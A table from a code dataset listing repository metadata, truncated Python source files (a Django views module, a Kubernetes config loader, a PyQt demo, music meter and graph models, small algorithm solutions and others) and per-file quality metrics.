hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ddaaf774a1abba687897e41a33028b028a3ed7fd | 2,200 | py | Python | convertgf.py | Wivik/gundam-france | 65d84098eec431e7e27b6a6c0f1e6eadea1c2bc8 | [
"MIT"
] | null | null | null | convertgf.py | Wivik/gundam-france | 65d84098eec431e7e27b6a6c0f1e6eadea1c2bc8 | [
"MIT"
] | null | null | null | convertgf.py | Wivik/gundam-france | 65d84098eec431e7e27b6a6c0f1e6eadea1c2bc8 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
from markdownify import markdownify as md
import argparse
import re
import os
import sys
parser = argparse.ArgumentParser()
parser.add_argument('input_file', help='file to convert')
args = parser.parse_args()
input_file = args.input_file
print(input_file)
if not re.search('.dist.php', input_... | 32.352941 | 86 | 0.537727 | 294 | 2,200 | 3.935374 | 0.268707 | 0.051858 | 0.085566 | 0.11236 | 0.267934 | 0.251513 | 0.208297 | 0.191011 | 0.191011 | 0.191011 | 0 | 0.008924 | 0.185 | 2,200 | 67 | 87 | 32.835821 | 0.636364 | 0.199545 | 0 | 0.068182 | 0 | 0 | 0.255441 | 0.124857 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.113636 | 0 | 0.113636 | 0.136364 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ddab10387c063d1c5dd03502020dc60340b9c9c1 | 1,957 | py | Python | scripts/disktest.py | CloudAdvocacy/ObjectDetection | ba823455a43684dea8f0bc1eab6f669a818895bb | [
"MIT"
] | null | null | null | scripts/disktest.py | CloudAdvocacy/ObjectDetection | ba823455a43684dea8f0bc1eab6f669a818895bb | [
"MIT"
] | null | null | null | scripts/disktest.py | CloudAdvocacy/ObjectDetection | ba823455a43684dea8f0bc1eab6f669a818895bb | [
"MIT"
] | null | null | null | import io, os
import argparse
from timeit import default_timer as timer
parser = argparse.ArgumentParser(description="File Performance Testing Util")
parser.add_argument("command",help="Test to perform",choices=['read','write','readany'])
parser.add_argument("dir",help="Directory to use")
args = parser.parse_args()
... | 33.169492 | 94 | 0.616249 | 320 | 1,957 | 3.70625 | 0.253125 | 0.10118 | 0.055649 | 0.057336 | 0.530354 | 0.530354 | 0.515177 | 0.369309 | 0.317032 | 0.317032 | 0 | 0.152132 | 0.197241 | 1,957 | 59 | 95 | 33.169492 | 0.602801 | 0 | 0 | 0.16 | 0 | 0 | 0.145557 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.08 | false | 0 | 0.06 | 0 | 0.14 | 0.06 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ddaf61fd3b67b0ad82d3ff5a5a750292ac61bd57 | 2,728 | py | Python | products/views.py | deepindo/DoPython | d80b85b3b24566de6ece9f452564e4827e705959 | [
"MIT"
] | 4 | 2022-01-04T09:56:19.000Z | 2022-01-20T12:14:16.000Z | products/views.py | deepindo/DoPython | d80b85b3b24566de6ece9f452564e4827e705959 | [
"MIT"
] | null | null | null | products/views.py | deepindo/DoPython | d80b85b3b24566de6ece9f452564e4827e705959 | [
"MIT"
] | 1 | 2022-01-20T09:40:16.000Z | 2022-01-20T09:40:16.000Z | from django.shortcuts import render, get_object_or_404
from django.core.paginator import Paginator, PageNotAnInteger, EmptyPage
from products.models import Product
def productList(request, productName):
"""产品的列表页"""
submenu = productName
if productName == 'robot':
productName = '家用机器人'
elif p... | 29.978022 | 93 | 0.535924 | 304 | 2,728 | 4.621711 | 0.266447 | 0.049822 | 0.039146 | 0.037011 | 0.253381 | 0.231317 | 0.231317 | 0.231317 | 0.195018 | 0.195018 | 0 | 0.024446 | 0.355205 | 2,728 | 91 | 94 | 29.978022 | 0.774304 | 0.028959 | 0 | 0.328947 | 0 | 0 | 0.091565 | 0.019757 | 0 | 0 | 0 | 0 | 0 | 1 | 0.026316 | false | 0 | 0.039474 | 0 | 0.092105 | 0.013158 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ddb0240924a8101cddcbf80261a52d4f5843c4bf | 1,545 | py | Python | misc/CharacterMotion.py | qwewqa/dl-datamine | a8e050731f67e4cf49123947eadf66ac0fd948ca | [
"MIT"
] | 2 | 2020-03-31T00:07:54.000Z | 2020-04-01T23:39:23.000Z | misc/CharacterMotion.py | qwewqa/dl-datamine | a8e050731f67e4cf49123947eadf66ac0fd948ca | [
"MIT"
] | null | null | null | misc/CharacterMotion.py | qwewqa/dl-datamine | a8e050731f67e4cf49123947eadf66ac0fd948ca | [
"MIT"
] | 1 | 2021-08-02T04:21:31.000Z | 2021-08-02T04:21:31.000Z | import json
import os
from dataclasses import dataclass, field
from typing import Dict, Optional
@dataclass
class AnimationClipData:
name: str
startTime: float
stopTime: float
id: Optional[int] = field(init=False)
duration: float = field(init=False)
def __post_init__(self):
self.durat... | 28.611111 | 100 | 0.618123 | 192 | 1,545 | 4.776042 | 0.317708 | 0.070883 | 0.092694 | 0.062159 | 0.082879 | 0.054526 | 0 | 0 | 0 | 0 | 0 | 0.000893 | 0.275081 | 1,545 | 53 | 101 | 29.150943 | 0.817857 | 0 | 0 | 0.136364 | 0 | 0 | 0.032362 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0.022727 | 0.090909 | 0 | 0.386364 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ddb050b82209d0997ed09ca448c8c2752e16f7c5 | 14,431 | py | Python | kube/config.py | nearmap/kubefs | e2f6c019f04e436d031874e40c59ba0ee61d8c58 | [
"MIT"
] | 3 | 2021-05-31T06:45:37.000Z | 2021-10-05T22:36:37.000Z | kube/config.py | nearmap/kubefs | e2f6c019f04e436d031874e40c59ba0ee61d8c58 | [
"MIT"
] | 8 | 2021-09-06T00:43:13.000Z | 2021-10-01T00:22:53.000Z | kube/config.py | nearmap/kubefs | e2f6c019f04e436d031874e40c59ba0ee61d8c58 | [
"MIT"
] | null | null | null | import base64
import fnmatch
import logging
import os
import tempfile
from ssl import SSLContext, create_default_context
from typing import Dict, List, Optional, Sequence
import yaml
from kube.tools.repr import disp_secret_blob, disp_secret_string
class ExecCmd:
def __init__(self, *, command: str, args: List[st... | 30.901499 | 86 | 0.56538 | 1,671 | 14,431 | 4.661879 | 0.139437 | 0.025417 | 0.018357 | 0.013864 | 0.240308 | 0.161361 | 0.107317 | 0.071117 | 0.071117 | 0.05982 | 0 | 0.002412 | 0.339339 | 14,431 | 466 | 87 | 30.967811 | 0.814663 | 0.062019 | 0 | 0.189944 | 0 | 0.002793 | 0.066952 | 0.005161 | 0 | 0 | 0 | 0 | 0 | 1 | 0.078212 | false | 0.01676 | 0.02514 | 0.01676 | 0.195531 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ddb11949c25d2f8ec4e231606475f6d7c71dff61 | 1,256 | py | Python | other/application/windowApp/test6.py | Ethan7102/FYP | c6560a0b95ad78d5e1a341ab2d93c063e10c6631 | [
"MIT"
] | null | null | null | other/application/windowApp/test6.py | Ethan7102/FYP | c6560a0b95ad78d5e1a341ab2d93c063e10c6631 | [
"MIT"
] | null | null | null | other/application/windowApp/test6.py | Ethan7102/FYP | c6560a0b95ad78d5e1a341ab2d93c063e10c6631 | [
"MIT"
] | 1 | 2021-01-23T07:59:57.000Z | 2021-01-23T07:59:57.000Z | from PyQt5.QtCore import QThread, pyqtSignal, QDateTime, QObject
from PyQt5.QtWidgets import QApplication, QDialog, QLineEdit
import time
import sys
class BackendThread(QObject):
# 通过类成员对象定义信号
update_date = pyqtSignal(str)
# 处理业务逻辑
def run(self):
while True:
data = QDateTime.curre... | 25.632653 | 64 | 0.627389 | 140 | 1,256 | 5.485714 | 0.492857 | 0.057292 | 0.03125 | 0.041667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.017279 | 0.262739 | 1,256 | 49 | 65 | 25.632653 | 0.812095 | 0.035828 | 0 | 0 | 0 | 0 | 0.034025 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.117647 | false | 0 | 0.117647 | 0 | 0.323529 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ddb1e5dab629942b29ba8fb6aab9cb866f52c858 | 13,098 | py | Python | model/meter.py | meiwei92/meter-alignment | dc92e4aca0ca80ed1c9418027b050e9631b5fb7a | [
"MIT"
] | null | null | null | model/meter.py | meiwei92/meter-alignment | dc92e4aca0ca80ed1c9418027b050e9631b5fb7a | [
"MIT"
] | null | null | null | model/meter.py | meiwei92/meter-alignment | dc92e4aca0ca80ed1c9418027b050e9631b5fb7a | [
"MIT"
] | null | null | null | from __future__ import annotations
from typing import List, Tuple, OrderedDict as OrderedDictType, DefaultDict, Optional
from collections import OrderedDict, defaultdict
from metric import MusicNote, TimePointSequence
from model.base import MidiModel, MidiModelState
from model.beat import TatumTrackingModelState, Tatu... | 42.803922 | 134 | 0.64506 | 1,431 | 13,098 | 5.561845 | 0.113906 | 0.056288 | 0.038447 | 0.03317 | 0.351049 | 0.239854 | 0.181053 | 0.181053 | 0.153663 | 0.124387 | 0 | 0.001916 | 0.282791 | 13,098 | 305 | 135 | 42.944262 | 0.845327 | 0.038861 | 0 | 0.253394 | 0 | 0 | 0.003181 | 0 | 0 | 0 | 0 | 0.003279 | 0 | 1 | 0.099548 | false | 0.027149 | 0.036199 | 0.031674 | 0.226244 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ddb3b3248298a56481c0e14a355de5998e1c7be4 | 1,029 | py | Python | hw2skeleton/find_features.py | hasuni-max/hw2-skeleton | 498f5d250ec18042c1e21fac177a92f3c7d3da7c | [
"Apache-2.0"
] | null | null | null | hw2skeleton/find_features.py | hasuni-max/hw2-skeleton | 498f5d250ec18042c1e21fac177a92f3c7d3da7c | [
"Apache-2.0"
] | null | null | null | hw2skeleton/find_features.py | hasuni-max/hw2-skeleton | 498f5d250ec18042c1e21fac177a92f3c7d3da7c | [
"Apache-2.0"
] | null | null | null |
global plus
global minus
minus = ["ASP","GLU"]
plus = ["ARG","HIS","LYS"]
def find_charge(residues):
"""
Takes a list of residues and returns the number of plus and
minus charged residues.
This function uses the global plus and minus variables
"""
global plus
global minus
plus_charge = sum([res in plu... | 25.097561 | 73 | 0.737609 | 158 | 1,029 | 4.658228 | 0.297468 | 0.097826 | 0.101902 | 0.11413 | 0.137228 | 0.137228 | 0 | 0 | 0 | 0 | 0 | 0.002315 | 0.16035 | 1,029 | 40 | 74 | 25.725 | 0.849537 | 0.234208 | 0 | 0.173913 | 0 | 0 | 0.019557 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.086957 | false | 0 | 0 | 0 | 0.173913 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ddbaaba267f11c03c921ef7b0388970b8db8a6b9 | 2,396 | py | Python | src/quacks/__init__.py | ariebovenberg/quacks | 839d307b24f3f37d9a5318c16acb631b9a1153f0 | [
"MIT"
] | 11 | 2021-12-12T20:51:15.000Z | 2022-02-02T12:08:32.000Z | src/quacks/__init__.py | ariebovenberg/quacks | 839d307b24f3f37d9a5318c16acb631b9a1153f0 | [
"MIT"
] | 8 | 2021-12-14T12:53:51.000Z | 2022-03-15T04:29:44.000Z | src/quacks/__init__.py | ariebovenberg/quacks | 839d307b24f3f37d9a5318c16acb631b9a1153f0 | [
"MIT"
] | 1 | 2021-12-15T16:50:34.000Z | 2021-12-15T16:50:34.000Z | from typing import _GenericAlias # type: ignore
from typing import ClassVar
from typing_extensions import Protocol
# Single-sourcing the version number with poetry:
# https://github.com/python-poetry/poetry/pull/2366#issuecomment-652418094
try:
__version__ = __import__("importlib.metadata").metadata.version(__na... | 29.95 | 79 | 0.647329 | 280 | 2,396 | 5.285714 | 0.414286 | 0.033784 | 0.022297 | 0.040541 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007307 | 0.257513 | 2,396 | 79 | 80 | 30.329114 | 0.824621 | 0.479549 | 0 | 0 | 0 | 0 | 0.131907 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.153846 | false | 0 | 0.192308 | 0.076923 | 0.461538 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ddbb30413bba7d94f4e08a1b8b5b0f62d116a712 | 13,818 | py | Python | gobbli/inspect/evaluate.py | RTIInternational/gobbli | d9ec8132f74ce49dc4bead2fad25b661bcef6e76 | [
"Apache-2.0"
] | 276 | 2019-09-13T08:25:51.000Z | 2022-03-05T13:07:55.000Z | gobbli/inspect/evaluate.py | RTIInternational/gobbli | d9ec8132f74ce49dc4bead2fad25b661bcef6e76 | [
"Apache-2.0"
] | 15 | 2019-09-06T14:05:30.000Z | 2022-01-01T20:15:06.000Z | gobbli/inspect/evaluate.py | RTIInternational/gobbli | d9ec8132f74ce49dc4bead2fad25b661bcef6e76 | [
"Apache-2.0"
] | 24 | 2019-09-18T15:11:42.000Z | 2021-12-23T18:59:55.000Z | from dataclasses import dataclass
from typing import Callable, Dict, List, Optional, Sequence, Tuple, Union
import altair as alt
import pandas as pd
from sklearn.metrics import (
accuracy_score,
classification_report,
f1_score,
precision_score,
recall_score,
)
from gobbli.util import (
as_mult... | 35.25 | 102 | 0.56506 | 1,603 | 13,818 | 4.700561 | 0.181535 | 0.029197 | 0.025216 | 0.013271 | 0.269542 | 0.190577 | 0.17213 | 0.148242 | 0.125415 | 0.11294 | 0 | 0.004316 | 0.345998 | 13,818 | 391 | 103 | 35.340153 | 0.829479 | 0.236793 | 0 | 0.194915 | 0 | 0.004237 | 0.108301 | 0.033371 | 0 | 0 | 0 | 0 | 0 | 1 | 0.063559 | false | 0 | 0.025424 | 0.008475 | 0.194915 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ddbc20a9147b17ccfb31328be56cce367423b65a | 791 | py | Python | victor_fake_hardware_interface/scripts/fake_grippers_node.py | MMintLab/kuka_iiwa_interface | 0dd258641377263e7275bc63f37cf32eb12f3e56 | [
"BSD-2-Clause"
] | 5 | 2021-01-11T09:00:26.000Z | 2021-12-13T15:59:01.000Z | victor_fake_hardware_interface/scripts/fake_grippers_node.py | MMintLab/kuka_iiwa_interface | 0dd258641377263e7275bc63f37cf32eb12f3e56 | [
"BSD-2-Clause"
] | 35 | 2020-07-01T14:48:40.000Z | 2021-07-13T18:38:53.000Z | victor_fake_hardware_interface/scripts/fake_grippers_node.py | MMintLab/kuka_iiwa_interface | 0dd258641377263e7275bc63f37cf32eb12f3e56 | [
"BSD-2-Clause"
] | 1 | 2021-01-08T23:39:17.000Z | 2021-01-08T23:39:17.000Z | #!/usr/bin/env python
import rospy
from victor_fake_hardware_interface.minimal_fake_arm_interface import MinimalFakeGripperInterface
def main():
rospy.init_node("minimal_fake_arm_interface")
interfaces = {}
arm_names = ["left_arm", "right_arm"]
for arm in arm_names:
interfaces[arm + "/gripp... | 27.275862 | 114 | 0.652339 | 86 | 791 | 5.604651 | 0.44186 | 0.103734 | 0.049793 | 0.068465 | 0.224066 | 0.224066 | 0.224066 | 0.224066 | 0 | 0 | 0 | 0 | 0.241467 | 791 | 28 | 115 | 28.25 | 0.803333 | 0.025284 | 0 | 0.176471 | 0 | 0 | 0.161039 | 0.033766 | 0 | 0 | 0 | 0 | 0 | 1 | 0.058824 | false | 0 | 0.117647 | 0 | 0.176471 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ddbc90c6ac864e7ce62505e078e39b8bc44056dd | 11,647 | py | Python | python/bgraph.py | brunodferrari/bdp | d320add1e451c85b6777ae34901bbd6fd3797114 | [
"Unlicense"
] | null | null | null | python/bgraph.py | brunodferrari/bdp | d320add1e451c85b6777ae34901bbd6fd3797114 | [
"Unlicense"
] | null | null | null | python/bgraph.py | brunodferrari/bdp | d320add1e451c85b6777ae34901bbd6fd3797114 | [
"Unlicense"
] | null | null | null | # -*- coding: utf-8 -*-
import numpy as np
import matplotlib.pyplot as plt
import networkx as nx
import pandas as pd
import copy
from numba import njit
from numba.typed import Dict, List
from numba.core import types
from concurrent.futures import ThreadPoolExecutor
np.seterr(over='ignore')
def pi(setlist, i):
... | 28.06506 | 145 | 0.479608 | 1,776 | 11,647 | 2.99268 | 0.109234 | 0.024835 | 0.01731 | 0.008467 | 0.457761 | 0.42032 | 0.358231 | 0.324929 | 0.270367 | 0.22032 | 0 | 0.042021 | 0.374775 | 11,647 | 415 | 146 | 28.06506 | 0.68786 | 0.099081 | 0 | 0.366782 | 0 | 0 | 0.000575 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.131488 | false | 0 | 0.034602 | 0.034602 | 0.304498 | 0.00346 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ddbf5e2f65d38e783f4768e0ca9abc2a32d54029 | 3,403 | py | Python | src/odin/http/server.py | stfc-aeg/odin-control | 71ab2e6e6e1a7c7ce322ea0df31a9d675f7b92bf | [
"Apache-2.0"
] | 4 | 2018-05-24T13:38:23.000Z | 2021-08-18T08:32:54.000Z | src/odin/http/server.py | stfc-aeg/odin-control | 71ab2e6e6e1a7c7ce322ea0df31a9d675f7b92bf | [
"Apache-2.0"
] | 20 | 2018-04-10T09:28:01.000Z | 2022-03-17T11:43:59.000Z | src/odin/http/server.py | stfc-aeg/odin-control | 71ab2e6e6e1a7c7ce322ea0df31a9d675f7b92bf | [
"Apache-2.0"
] | 3 | 2017-06-07T13:28:38.000Z | 2019-07-16T10:02:21.000Z | """odin.http.server - ODIN HTTP Server class.
This module provides the core HTTP server class used in ODIN, which handles all client requests,
handing off API requests to the appropriate API route and adapter plugins, and defining the
default route used to serve static content.
Tim Nicholls, STFC Application Engineer... | 35.447917 | 96 | 0.658537 | 416 | 3,403 | 5.269231 | 0.355769 | 0.032847 | 0.027372 | 0.024635 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004841 | 0.271525 | 3,403 | 95 | 97 | 35.821053 | 0.879387 | 0.399647 | 0 | 0 | 0 | 0 | 0.039494 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0 | 0.159091 | 0 | 0.272727 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ddc0751188e1d1856d4d69064affd55e5821f001 | 1,382 | py | Python | leetcode/ds_stack_valid_parentheses.py | ngovindaraj/Python | edbcd302533bef81aa0c01e902e6081df58f383c | [
"MIT"
] | null | null | null | leetcode/ds_stack_valid_parentheses.py | ngovindaraj/Python | edbcd302533bef81aa0c01e902e6081df58f383c | [
"MIT"
] | null | null | null | leetcode/ds_stack_valid_parentheses.py | ngovindaraj/Python | edbcd302533bef81aa0c01e902e6081df58f383c | [
"MIT"
] | null | null | null | # @file Valid Parentheses
# @brief Given a string containing just the characters '(', ')', '{', '}',
# '[' and ']', determine if the input string is valid.
# https://leetcode.com/problems/valid-parentheses/
import collections
'''
Given a string containing just the characters '(', ')', '{', '}', '[' and ']',
de... | 40.647059 | 79 | 0.552822 | 166 | 1,382 | 4.60241 | 0.457831 | 0.052356 | 0.031414 | 0.057592 | 0.246073 | 0.246073 | 0.193717 | 0.193717 | 0.193717 | 0.193717 | 0 | 0.002128 | 0.319826 | 1,382 | 33 | 80 | 41.878788 | 0.810638 | 0.429812 | 0 | 0.2 | 0 | 0 | 0.01676 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.066667 | false | 0 | 0.066667 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ddc0a159fdea30685a3e6c6f67386c3bf2f75073 | 3,746 | py | Python | 2016/round_1b/technobabble.py | laichunpongben/CodeJam | a048229bce1bc680dc85c8a69ef395a2f049732a | [
"Apache-2.0"
] | null | null | null | 2016/round_1b/technobabble.py | laichunpongben/CodeJam | a048229bce1bc680dc85c8a69ef395a2f049732a | [
"Apache-2.0"
] | null | null | null | 2016/round_1b/technobabble.py | laichunpongben/CodeJam | a048229bce1bc680dc85c8a69ef395a2f049732a | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
from __future__ import print_function
from collections import deque
def parse_and_sort_topics(topics):
topic_deque = deque(tuple(topic.split(' ')) for topic in topics)
word0s = [item[0] for item in topic_deque]
word1s = [item[1] for item in topic_deque]
topic_deque = deque(sorted... | 30.455285 | 95 | 0.509343 | 427 | 3,746 | 4.274005 | 0.274005 | 0.039452 | 0.039452 | 0.04274 | 0.294795 | 0.227397 | 0.161096 | 0.161096 | 0.161096 | 0.161096 | 0 | 0.032669 | 0.370796 | 3,746 | 122 | 96 | 30.704918 | 0.741621 | 0.005339 | 0 | 0.117647 | 0 | 0 | 0.114362 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.019608 | false | 0 | 0.029412 | 0 | 0.068627 | 0.039216 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
